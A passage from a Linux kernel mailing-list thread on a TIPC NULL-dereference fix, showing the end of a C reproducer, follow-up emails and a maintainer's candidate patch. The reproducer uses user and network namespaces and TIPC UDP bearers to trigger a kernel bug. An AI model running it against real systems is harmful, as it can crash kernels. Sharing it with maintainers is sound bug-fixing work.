"lo"); > > set_if_up(rfd, "veth1"); > > add_ipv4(rfd, "veth1", "10.0.0.2", 24); > > > > int gfd = nl_open(NETLINK_GENERIC); > > tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME); > > if (tipc_family < 0) _exit(1); > > > > int bfd = bindfill_node_scope(65535); > > tipc_set_node_id(gfd, 0x2222222222222222ULL, > >0x2222222222222222ULL); > > tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1", "10.0.0.2", > >"10.0.0.1"); > > write(sync_wr, "C", 1); > > > > sleep(35); > > tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL); > > fprintf(stderr, "[child] b1 disabled, keeping it down\n"); > > (void)bfd; > > for (;;) pause(); > >} > > > >int main(void) > >{ > > setvbuf(stdout, NULL, _IONBF, 0); > > setvbuf(stderr, NULL, _IONBF, 0); > > > > uid_t uid = getuid(); > > gid_t gid = getgid(); > > > > if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) { > > write_file("/proc/self/setgroups", "deny"); > > char m[64]; > > snprintf(m, sizeof(m), "0 %d 1", uid); > > write_file("/proc/self/uid_map", m); > > snprintf(m, sizeof(m), "0 %d 1", gid); > > write_file("/proc/self/gid_map", m); > > } else if (unshare(CLONE_NEWNET) < 0) { > > perror("unshare"); > > return 1; > > } > > > > int p2c[2], c2p[2]; > > if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; } > > > > pid_t pid = fork(); > > if (pid == 0) { > > close(p2c[1]); > > close(c2p[0]); > > if (unshare(CLONE_NEWNET) < 0) _exit(1); > > child_main(p2c[0], c2p[1]); > > _exit(0); > > } > > close(p2c[0]); > > close(c2p[1]); > > > > char c; > > if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not ready\n"); return 1; } > > > > char nspath[64]; > > snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid); > > int nsfd = open(nspath, O_RDONLY); > > if (nsfd < 0) { perror("open ns"); return 1; } > > > > int rfd = nl_open(NETLINK_ROUTE); > > create_veth(rfd, "veth0", "veth1", nsfd); > > close(nsfd); > > set_if_up(rfd, "lo"); > > set_if_up(rfd, "veth0"); > > add_ipv4(rfd, "veth0", "10.0.0.1", 24); > > write(p2c[1], "G", 1); > > > > int gfd = nl_open(NETLINK_GENERIC); > > tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME); > > if (tipc_family < 0) return 1; > > int bfd = bindfill_node_scope(65535); > > tipc_set_node_id(gfd, 0x1111111111111111ULL, > >0x1111111111111111ULL); > > > > if (read(c2p[0], &c, 1) != 1) > > fprintf(stderr, "child config sync missed\n"); > > tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0", "10.0.0.1", > >"10.0.0.2"); > > > > fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n"); > > (void)bfd; > > sleep(400); > > kill(pid, SIGKILL); > > waitpid(pid, NULL, 0); > > fprintf(stderr, "[*] done\n"); > > return 0; > >} > > > >``` > > > > > >Do you think tipc_node_cleanup() should go through the same wake logic as > >tipc_node_delete()? Happy to test the next version. > > Thanks for your test report and reproducer. It will look into the reproducer to fix outstanding issues. > > > > >Thanks, > >Weiming Hi Tung, Just following up on the issue. Let me know if you need any help from my side with testing or validation. Thanks, Weiming ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-27 10:30 ` Weiming Shi @ 2026-07-27 10:48 ` Tung Quang Nguyen 2026-07-28 12:52 ` Tung Quang Nguyen 1 sibling, 0 replies; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-27 10:48 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion >Hi Tung, > >Just following up on the issue. Let me know if you need any help from my side >with testing or validation. Thanks. I am working on the new patch version to address this issue. In fact, your reproducer exposes some existing TIPC issues that need to be addressed also. I will try to send the new version tomorrow so that you can help verify. ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-27 10:30 ` Weiming Shi 2026-07-27 10:48 ` Tung Quang Nguyen @ 2026-07-28 12:52 ` Tung Quang Nguyen 2026-07-28 17:57 ` Weiming Shi 1 sibling, 1 reply; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-28 12:52 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion >Hi Tung, > >Just following up on the issue. Let me know if you need any help from my side >with testing or validation. Could you please verify below patch to see if it fixes all observed issues ? Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> --- net/tipc/core.c | 3 ++ net/tipc/core.h | 4 ++ net/tipc/name_distr.c | 91 ++++++++++++++++++++++++++++++---- net/tipc/name_distr.h | 3 +- net/tipc/name_table.c | 24 +++++++-- net/tipc/net.c | 5 ++ net/tipc/node.c | 113 ++++++++++++++++++++++++++++++++++++++++-- net/tipc/node.h | 1 + 8 files changed, 226 insertions(+), 18 deletions(-) diff --git a/net/tipc/core.c b/net/tipc/core.c index 315975c3be81..1e1fe78cc4ee 100644 --- a/net/tipc/core.c +++ b/net/tipc/core.c @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net) tn->trial_addr = 0; tn->addr_trial_end = 0; tn->capabilities = TIPC_NODE_CAPABILITIES; + atomic_set(&tn->node_wq_count, 0); + atomic_set(&tn->finalized, 0); INIT_WORK(&tn->work, tipc_net_finalize_work); memset(tn->node_id, 0, sizeof(tn->node_id)); memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); @@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net) #ifdef CONFIG_TIPC_CRYPTO tipc_crypto_stop(&tipc_net(net)->crypto_tx); #endif + wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count)); wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0); } diff --git a/net/tipc/core.h b/net/tipc/core.h index 9ce5f9ff6cc0..be335ce83389 100644 --- a/net/tipc/core.h +++ b/net/tipc/core.h @@ -145,6 +145,10 @@ struct tipc_net { struct work_struct work; /* The numbers of work queues in schedule */ atomic_t wq_count; + /* The numbers of works of created nodes in schedule */ + atomic_t node_wq_count; + /* flag to wake up scheduled works of created nodes */ + atomic_t finalized; }; static inline struct tipc_net *tipc_net(struct net *net) diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c index ba4f4906e13b..e701824bbb2a 100644 --- a/net/tipc/name_distr.c +++ b/net/tipc/name_distr.c @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) * @pls: linked list of publication items to be packed into buffer chain * @seqno: sequence number for this message */ -static void named_distribute(struct net *net, struct sk_buff_head *list, - u32 dnode, struct list_head *pls, u16 seqno) +static int named_distribute(struct net *net, struct sk_buff_head *list, + u32 dnode, struct list_head *pls, u16 seqno) { struct publication *publ; struct sk_buff *skb = NULL; @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, skb = named_prepare_buf(net, PUBLICATION, msg_rem, dnode); if (!skb) { + __skb_queue_purge(list); pr_warn("Bulk publication failure\n"); - return; + return 1; } hdr = buf_msg(skb); msg_set_bc_ack_invalid(hdr, true); @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, hdr = buf_msg(skb_peek_tail(list)); msg_set_last_bulk(hdr); msg_set_named_seqno(hdr, seqno); + + return 0; } /** - * tipc_named_node_up - tell specified node about all publications by this node + * tipc_named_distribute - distribute all publications to specified node * @net: the associated network namespace * @dnode: destination node - * @capabilities: peer node's capabilities */ -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +static int tipc_named_distribute(struct net *net, u32 dnode) { struct name_table *nt = tipc_name_table(net); struct tipc_net *tn = tipc_net(net); @@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) __skb_queue_head_init(&head); spin_lock_bh(&tn->nametbl_lock); - if (!(capabilities & TIPC_NAMED_BCAST)) - nt->rc_dests++; seqno = nt->snd_nxt; spin_unlock_bh(&tn->nametbl_lock); read_lock_bh(&nt->cluster_scope_lock); - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { + read_unlock_bh(&nt->cluster_scope_lock); + return -ENOBUFS; + } tipc_node_xmit(net, &head, dnode, 0); read_unlock_bh(&nt->cluster_scope_lock); + + return 0; +} + +/** + * tipc_named_node_up - tell specified node about all publications by this node + * @net: the associated network namespace + * @dnode: destination node + * @capabilities: peer node's capabilities + */ +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +{ + struct name_table *nt = tipc_name_table(net); + struct tipc_net *tn = tipc_net(net); + + spin_lock_bh(&tn->nametbl_lock); + if (!(capabilities & TIPC_NAMED_BCAST)) + nt->rc_dests++; + spin_unlock_bh(&tn->nametbl_lock); + + read_lock_bh(&nt->cluster_scope_lock); + /* 1. tipc_net_finalize_work() is not scheduled because of namespace + * teardown. + * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed + * to insert node self address publication to nt->cluster_scope + * due to memory allocation failure. + * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not + * executed yet. + */ + if (unlikely(list_empty(&nt->cluster_scope))) { + read_unlock_bh(&nt->cluster_scope_lock); + return 1; + } + read_unlock_bh(&nt->cluster_scope_lock); + + return tipc_named_distribute(net, dnode); +} + +/** + * tipc_named_dist_cluster_scope - distribute all publications to specified node + * @net: the associated network namespace + * @dnode: destination node + */ +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) +{ + struct name_table *nt = tipc_name_table(net); + bool reinsert = false; + + read_lock_bh(&nt->cluster_scope_lock); + if (unlikely(list_empty(&nt->cluster_scope))) + reinsert = true; + read_unlock_bh(&nt->cluster_scope_lock); + /* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert + * node self address publication to nt->cluster_scope due to memory + * allocation failure. So, reinsert this publication. + */ + if (reinsert) { + struct tipc_net *tn = tipc_net(net); + struct tipc_socket_addr sk; + struct tipc_uaddr ua; + + sk.ref = 0; + sk.node = tn->node_addr; + tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE, + TIPC_NODE_STATE, tn->node_addr, tn->node_addr); + if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr)) + return -ENOBUFS; + } + + return tipc_named_distribute(net, dnode); } /** diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h index c677f6f082df..cadf4e8c3e66 100644 --- a/net/tipc/name_distr.h +++ b/net/tipc/name_distr.h @@ -69,7 +69,8 @@ struct distr_item { struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, u16 *rcv_nxt, bool *open); void tipc_named_reinit(struct net *net); diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c index 253c72d1366e..d44d65fa524e 100644 --- a/net/tipc/name_table.c +++ b/net/tipc/name_table.c @@ -763,6 +763,7 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua, struct tipc_socket_addr *sk, u32 key) { struct name_table *nt = tipc_name_table(net); + u32 max_user_pub = TIPC_MAX_PUBL - 1; struct tipc_net *tn = tipc_net(net); struct publication *p = NULL; struct sk_buff *skb = NULL; @@ -770,14 +771,26 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua, spin_lock_bh(&tn->nametbl_lock); - if (nt->local_publ_count >= TIPC_MAX_PUBL) { - pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL); + /* Reserve one entry for node state service type because it has cluster + * scope and it is distributed in bulk. So, the maximum number of user's + * publications is (TIPC_MAX_PUBL - 1). + */ + if (nt->local_publ_count >= max_user_pub) { + pr_warn("Bind failed, max limit %u reached\n", max_user_pub); goto exit; } p = tipc_nametbl_insert_publ(net, ua, sk, key); if (p) { - nt->local_publ_count++; + /* Not count node state, link state and topology server types + * so that maximum nt->local_publ_count does not prevent + * protocol service types from being inserted to the name + * table. + */ + if (ua->sr.type != TIPC_NODE_STATE && + ua->sr.type != TIPC_LINK_STATE && + ua->sr.type != TIPC_TOP_SRV) + nt->local_publ_count++; skb = tipc_named_publish(net, p); } rc_dests = nt->rc_dests; @@ -810,7 +823,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua, p = tipc_nametbl_remove_publ(net, ua, sk, key); if (p) { - nt->local_publ_count--; + if (p->sr.type != TIPC_NODE_STATE && + p->sr.type != TIPC_LINK_STATE && + p->sr.type != TIPC_TOP_SRV) + nt->local_publ_count--; skb = tipc_named_withdraw(net, p); list_del_init(&p->binding_sock); kfree_rcu(p, rcu); diff --git a/net/tipc/net.c b/net/tipc/net.c index 7e65d0b0c4a8..75ac4e3cd01a 100644 --- a/net/tipc/net.c +++ b/net/tipc/net.c @@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr) tipc_sk_reinit(net); tipc_mon_reinit_self(net); tipc_nametbl_publish(net, &ua, &sk, addr); + atomic_set(&tn->finalized, 1); + /* Wake up nodes waiting for distributing bulk of publications + * if applicable. + */ + tipc_node_wakeup(net); } void tipc_net_finalize_work(struct work_struct *work) diff --git a/net/tipc/node.c b/net/tipc/node.c index 8e4ef2630ae4..cbe398f888b9 100644 --- a/net/tipc/node.c +++ b/net/tipc/node.c @@ -111,6 +111,9 @@ struct tipc_bclink_entry { * @peer_net: peer's net namespace * @peer_hash_mix: hash for this peer (FIXME) * @crypto_rx: RX crypto handler + * @work: work item for bulk distribution of cluster scope publications + * @work_scheduled: flag to indicate the work has been scheduled + * @finalized: flag to wake up scheduled work */ struct tipc_node { u32 addr; @@ -145,6 +148,9 @@ struct tipc_node { #ifdef CONFIG_TIPC_CRYPTO struct tipc_crypto *crypto_rx; #endif + struct work_struct work; + atomic_t work_scheduled; + atomic_t finalized; }; /* Node FSM states and events: @@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) write_unlock_bh(&n->lock); } +static void tipc_node_down(struct tipc_node *n) +{ + u32 bearer_id, bearer_cnt; + + tipc_node_read_lock(n); + bearer_cnt = n->link_cnt; + tipc_node_read_unlock(n); + for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++) + tipc_node_link_down(n, bearer_id, false); +} + +static void tipc_node_dist_bulk(struct work_struct *work) +{ + struct tipc_node *node = container_of(work, struct tipc_node, work); + struct tipc_net *tn = tipc_net(node->net); + + wait_var_event(&node->finalized, atomic_read(&node->finalized)); + + /* node is down */ + if (!atomic_read(&node->work_scheduled)) + goto exit; + + /* Stop waking up work in tipc_node_timeout() */ + atomic_set(&node->work_scheduled, 0); + + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) + tipc_node_down(node); + +exit: + if (atomic_dec_and_test(&tn->node_wq_count)) + wake_up_var(&tn->node_wq_count); + + tipc_node_put(node); +} + +static void tipc_node_cancel_work(struct tipc_node *node) +{ + if (atomic_read(&node->work_scheduled)) { + struct tipc_net *tn = tipc_net(node->net); + + /* Wake up scheduled work if it is waiting. */ + if (!atomic_read(&node->finalized)) { + atomic_set(&node->work_scheduled, 0); + atomic_set(&node->finalized, 1); + wake_up_var(&node->finalized); + } + + /* Work is pending */ + if (cancel_work(&node->work)) { + if (atomic_dec_and_test(&tn->node_wq_count)) + wake_up_var(&tn->node_wq_count); + tipc_node_put(node); + } + } +} + static void tipc_node_write_unlock(struct tipc_node *n) __releases(n->lock) { @@ -421,11 +483,30 @@ static void tipc_node_write_unlock(struct tipc_node *n) write_unlock_bh(&n->lock); - if (flags & TIPC_NOTIFY_NODE_DOWN) + if (flags & TIPC_NOTIFY_NODE_DOWN) { tipc_publ_notify(net, publ_list, node, n->capabilities); - - if (flags & TIPC_NOTIFY_NODE_UP) - tipc_named_node_up(net, node, n->capabilities); + tipc_node_cancel_work(n); + } + + if (flags & TIPC_NOTIFY_NODE_UP) { + struct tipc_net *tn = tipc_net(net); + int rc = 0; + + rc = tipc_named_node_up(net, node, n->capabilities); + /* Defer bulk distribution to work queue */ + if (rc > 0) { + atomic_set(&n->work_scheduled, 1); + atomic_inc(&tn->node_wq_count); + tipc_node_get(n); + if (!schedule_work(&n->work)) + tipc_node_put(n); + } else if (rc < 0) { + /* Bring the node down to start over bulk distribution + * when the first link is up again. + */ + tipc_node_down(n); + } + } if (flags & TIPC_NOTIFY_LINK_UP) { tipc_mon_peer_up(net, node, bearer_id); @@ -564,6 +645,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, INIT_LIST_HEAD(&n->list); INIT_LIST_HEAD(&n->publ_list); INIT_LIST_HEAD(&n->conn_sks); + INIT_WORK(&n->work, tipc_node_dist_bulk); + atomic_set(&n->work_scheduled, 0); + atomic_set(&n->finalized, 0); skb_queue_head_init(&n->bc_entry.namedq); skb_queue_head_init(&n->bc_entry.inputq1); __skb_queue_head_init(&n->bc_entry.arrvq); @@ -653,6 +737,21 @@ void tipc_node_stop(struct net *net) spin_unlock_bh(&tn->node_list_lock); } +void tipc_node_wakeup(struct net *net) +{ + struct tipc_net *tn = tipc_net(net); + struct tipc_node *node; + + rcu_read_lock(); + list_for_each_entry_rcu(node, &tn->node_list, list) { + if (atomic_read(&node->work_scheduled)) { + atomic_set(&node->finalized, 1); + wake_up_var(&node->finalized); + } + } + rcu_read_unlock(); +} + void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr) { struct tipc_node *n; @@ -801,6 +900,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer) static void tipc_node_timeout(struct timer_list *t) { struct tipc_node *n = timer_container_of(n, t, timer); + struct tipc_net *tn = tipc_net(n->net); struct tipc_link_entry *le; struct sk_buff_head xmitq; int remains = n->link_cnt; @@ -814,6 +914,11 @@ static void tipc_node_timeout(struct timer_list *t) return; } + if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) { + atomic_set(&n->finalized, 1); + wake_up_var(&n->finalized); + } + #ifdef CONFIG_TIPC_CRYPTO /* Take any crypto key related actions first */ tipc_crypto_timeout(n->crypto_rx); diff --git a/net/tipc/node.h b/net/tipc/node.h index 154a5bbb0d29..c7bc3bc05328 100644 --- a/net/tipc/node.h +++ b/net/tipc/node.h @@ -75,6 +75,7 @@ enum { #define INVALID_BEARER_ID -1 void tipc_node_stop(struct net *net); +void tipc_node_wakeup(struct net *net); bool tipc_node_get_id(struct net *net, u32 addr, u8 *id); u32 tipc_node_get_addr(struct tipc_node *node); char *tipc_node_get_id_str(struct tipc_node *node); -- 2.43.0 ^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-28 12:52 ` Tung Quang Nguyen @ 2026-07-28 17:57 ` Weiming Shi 2026-07-29 3:50 ` Tung Quang Nguyen 0 siblings, 1 reply; 14+ messages in thread From: Weiming Shi @ 2026-07-28 17:57 UTC (permalink / raw) To: Tung Quang Nguyen Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月28日周二 20:52写道： > > >Hi Tung, > > > >Just following up on the issue. Let me know if you need any help from my side > >with testing or validation. > Could you please verify below patch to see if it fixes all observed issues ? > > Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> > --- > net/tipc/core.c | 3 ++ > net/tipc/core.h | 4 ++ > net/tipc/name_distr.c | 91 ++++++++++++++++++++++++++++++---- > net/tipc/name_distr.h | 3 +- > net/tipc/name_table.c | 24 +++++++-- > net/tipc/net.c | 5 ++ > net/tipc/node.c | 113 ++++++++++++++++++++++++++++++++++++++++-- > net/tipc/node.h | 1 + > 8 files changed, 226 insertions(+), 18 deletions(-) > > diff --git a/net/tipc/core.c b/net/tipc/core.c > index 315975c3be81..1e1fe78cc4ee 100644 > --- a/net/tipc/core.c > +++ b/net/tipc/core.c > @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net) > tn->trial_addr = 0; > tn->addr_trial_end = 0; > tn->capabilities = TIPC_NODE_CAPABILITIES; > + atomic_set(&tn->node_wq_count, 0); > + atomic_set(&tn->finalized, 0); > INIT_WORK(&tn->work, tipc_net_finalize_work); > memset(tn->node_id, 0, sizeof(tn->node_id)); > memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); > @@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net) > #ifdef CONFIG_TIPC_CRYPTO > tipc_crypto_stop(&tipc_net(net)->crypto_tx); > #endif > + wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count)); > wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0); > } > > diff --git a/net/tipc/core.h b/net/tipc/core.h > index 9ce5f9ff6cc0..be335ce83389 100644 > --- a/net/tipc/core.h > +++ b/net/tipc/core.h > @@ -145,6 +145,10 @@ struct tipc_net { > struct work_struct work; > /* The numbers of work queues in schedule */ > atomic_t wq_count; > + /* The numbers of works of created nodes in schedule */ > + atomic_t node_wq_count; > + /* flag to wake up scheduled works of created nodes */ > + atomic_t finalized; > }; > > static inline struct tipc_net *tipc_net(struct net *net) > diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c > index ba4f4906e13b..e701824bbb2a 100644 > --- a/net/tipc/name_distr.c > +++ b/net/tipc/name_distr.c > @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) > * @pls: linked list of publication items to be packed into buffer chain > * @seqno: sequence number for this message > */ > -static void named_distribute(struct net *net, struct sk_buff_head *list, > - u32 dnode, struct list_head *pls, u16 seqno) > +static int named_distribute(struct net *net, struct sk_buff_head *list, > + u32 dnode, struct list_head *pls, u16 seqno) > { > struct publication *publ; > struct sk_buff *skb = NULL; > @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, > skb = named_prepare_buf(net, PUBLICATION, msg_rem, > dnode); > if (!skb) { > + __skb_queue_purge(list); > pr_warn("Bulk publication failure\n"); > - return; > + return 1; > } > hdr = buf_msg(skb); > msg_set_bc_ack_invalid(hdr, true); > @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, > hdr = buf_msg(skb_peek_tail(list)); > msg_set_last_bulk(hdr); > msg_set_named_seqno(hdr, seqno); > + > + return 0; > } > > /** > - * tipc_named_node_up - tell specified node about all publications by this node > + * tipc_named_distribute - distribute all publications to specified node > * @net: the associated network namespace > * @dnode: destination node > - * @capabilities: peer node's capabilities > */ > -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > +static int tipc_named_distribute(struct net *net, u32 dnode) > { > struct name_table *nt = tipc_name_table(net); > struct tipc_net *tn = tipc_net(net); > @@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > > __skb_queue_head_init(&head); > spin_lock_bh(&tn->nametbl_lock); > - if (!(capabilities & TIPC_NAMED_BCAST)) > - nt->rc_dests++; > seqno = nt->snd_nxt; > spin_unlock_bh(&tn->nametbl_lock); > > read_lock_bh(&nt->cluster_scope_lock); > - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); > + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { > + read_unlock_bh(&nt->cluster_scope_lock); > + return -ENOBUFS; > + } > tipc_node_xmit(net, &head, dnode, 0); > read_unlock_bh(&nt->cluster_scope_lock); > + > + return 0; > +} > + > +/** > + * tipc_named_node_up - tell specified node about all publications by this node > + * @net: the associated network namespace > + * @dnode: destination node > + * @capabilities: peer node's capabilities > + */ > +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > +{ > + struct name_table *nt = tipc_name_table(net); > + struct tipc_net *tn = tipc_net(net); > + > + spin_lock_bh(&tn->nametbl_lock); > + if (!(capabilities & TIPC_NAMED_BCAST)) > + nt->rc_dests++; > + spin_unlock_bh(&tn->nametbl_lock); > + > + read_lock_bh(&nt->cluster_scope_lock); > + /* 1. tipc_net_finalize_work() is not scheduled because of namespace > + * teardown. > + * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed > + * to insert node self address publication to nt->cluster_scope > + * due to memory allocation failure. > + * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not > + * executed yet. > + */ > + if (unlikely(list_empty(&nt->cluster_scope))) { > + read_unlock_bh(&nt->cluster_scope_lock); > + return 1; > + } > + read_unlock_bh(&nt->cluster_scope_lock); > + > + return tipc_named_distribute(net, dnode); > +} > + > +/** > + * tipc_named_dist_cluster_scope - distribute all publications to specified node > + * @net: the associated network namespace > + * @dnode: destination node > + */ > +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) > +{ > + struct name_table *nt = tipc_name_table(net); > + bool reinsert = false; > + > + read_lock_bh(&nt->cluster_scope_lock); > + if (unlikely(list_empty(&nt->cluster_scope))) > + reinsert = true; > + read_unlock_bh(&nt->cluster_scope_lock); > + /* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert > + * node self address publication to nt->cluster_scope due to memory > + * allocation failure. So, reinsert this publication. > + */ > + if (reinsert) { > + struct tipc_net *tn = tipc_net(net); > + struct tipc_socket_addr sk; > + struct tipc_uaddr ua; > + > + sk.ref = 0; > + sk.node = tn->node_addr; > + tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE, > + TIPC_NODE_STATE, tn->node_addr, tn->node_addr); > + if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr)) > + return -ENOBUFS; > + } > + > + return tipc_named_distribute(net, dnode); > } > > /** > diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h > index c677f6f082df..cadf4e8c3e66 100644 > --- a/net/tipc/name_distr.h > +++ b/net/tipc/name_distr.h > @@ -69,7 +69,8 @@ struct distr_item { > > struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); > struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); > -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); > +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); > +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); > void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, > u16 *rcv_nxt, bool *open); > void tipc_named_reinit(struct net *net); > diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c > index 253c72d1366e..d44d65fa524e 100644 > --- a/net/tipc/name_table.c > +++ b/net/tipc/name_table.c > @@ -763,6 +763,7 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua, > struct tipc_socket_addr *sk, u32 key) > { > struct name_table *nt = tipc_name_table(net); > + u32 max_user_pub = TIPC_MAX_PUBL - 1; > struct tipc_net *tn = tipc_net(net); > struct publication *p = NULL; > struct sk_buff *skb = NULL; > @@ -770,14 +771,26 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua, > > spin_lock_bh(&tn->nametbl_lock); > > - if (nt->local_publ_count >= TIPC_MAX_PUBL) { > - pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL); > + /* Reserve one entry for node state service type because it has cluster > + * scope and it is distributed in bulk. So, the maximum number of user's > + * publications is (TIPC_MAX_PUBL - 1). > + */ > + if (nt->local_publ_count >= max_user_pub) { > + pr_warn("Bind failed, max limit %u reached\n", max_user_pub); > goto exit; > } > > p = tipc_nametbl_insert_publ(net, ua, sk, key); > if (p) { > - nt->local_publ_count++; > + /* Not count node state, link state and topology server types > + * so that maximum nt->local_publ_count does not prevent > + * protocol service types from being inserted to the name > + * table. > + */ > + if (ua->sr.type != TIPC_NODE_STATE && > + ua->sr.type != TIPC_LINK_STATE && > + ua->sr.type != TIPC_TOP_SRV) > + nt->local_publ_count++; > skb = tipc_named_publish(net, p); > } > rc_dests = nt->rc_dests; > @@ -810,7 +823,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua, > > p = tipc_nametbl_remove_publ(net, ua, sk, key); > if (p) { > - nt->local_publ_count--; > + if (p->sr.type != TIPC_NODE_STATE && > + p->sr.type != TIPC_LINK_STATE && > + p->sr.type != TIPC_TOP_SRV) > + nt->local_publ_count--; > skb = tipc_named_withdraw(net, p); > list_del_init(&p->binding_sock); > kfree_rcu(p, rcu); > diff --git a/net/tipc/net.c b/net/tipc/net.c > index 7e65d0b0c4a8..75ac4e3cd01a 100644 > --- a/net/tipc/net.c > +++ b/net/tipc/net.c > @@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr) > tipc_sk_reinit(net); > tipc_mon_reinit_self(net); > tipc_nametbl_publish(net, &ua, &sk, addr); > + atomic_set(&tn->finalized, 1); > + /* Wake up nodes waiting for distributing bulk of publications > + * if applicable. > + */ > + tipc_node_wakeup(net); > } > > void tipc_net_finalize_work(struct work_struct *work) > diff --git a/net/tipc/node.c b/net/tipc/node.c > index 8e4ef2630ae4..cbe398f888b9 100644 > --- 